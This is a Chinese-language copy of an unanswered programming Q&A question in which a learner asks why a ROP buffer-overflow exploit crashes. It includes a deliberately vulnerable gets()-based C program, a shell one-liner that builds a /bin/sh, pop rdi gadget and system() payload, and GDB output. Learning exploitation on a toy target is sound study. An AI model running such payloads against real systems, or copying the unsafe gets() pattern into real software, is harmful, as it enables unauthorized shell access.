ROP /缓冲区溢出跳转到不可访问的内存

时间:2019-05-05 12:09:15

标签: c linux buffer-overflow exploit

在学习ROP时,我正在利用缓冲区溢出。我计算了libc的地址以及系统和小工具的偏移量,但是无法访问该地址。

本教程的代码为:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
  char name[64];
  printf("%p (pid: %d)\n", name, getpid());  // Print address of buffer.
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}

使用-fno-stack-protector编译并禁用了ASLR。

有效载荷是按以下顺序制成的:

  • "/bin/sh"
  • 65 * \x00
  • 小工具的地址(8B):pop rdi; ret
  • system的地址

要计算系统地址,我取基地址(cat/proc/pid/maps)+基地址(nm -D libc.so.6 | grep system0x7fff79e400 + 0x4f440

对于小工具:pop rdi; ret中的libc.so.6位于0x7fff79e400 + 0x2155f

漏洞利用是:

( 
  echo -n /bin/sh | xxd -p; 
  printf %0130d 0; 
  printf %016x $((0x7ffff79e4000+0x2155f)) | tac -r -s..; 
  printf %016x 0x7fffffffdee0 | tac -r -s..; 
  printf %016x $((0x7ffff79e4000+0x4f440)) | tac -r -s..
) | xxd -r -p | ./prog

在GDB(稍微调整基址)中,它似乎应该起作用:

事实上:

gef➤  i frame
Stack level 0, frame at 0x7fffffffdf70:
 rip = 0x555555554715 in main (victim.c:9); saved rip = 0x7fff7bf95f

是小工具的地址。但是:

gef➤  p *0x7fff7bf95f
Cannot access memory at address 0x7fff7bf95f

ret上它被杀死。

两个问题:

  • 为什么会这样?原因可能是页面不在内存中吗?
  • 更新了各种ROP教程,因为在两个Linux版本之间“堆栈的布局已更改”(相反:他们说一个应该考虑到这一点)。这是什么意思?我的有效负载似乎在正确的地址处具有所有正确的字节;我为什么要改变任何东西?

0 个答案:

没有答案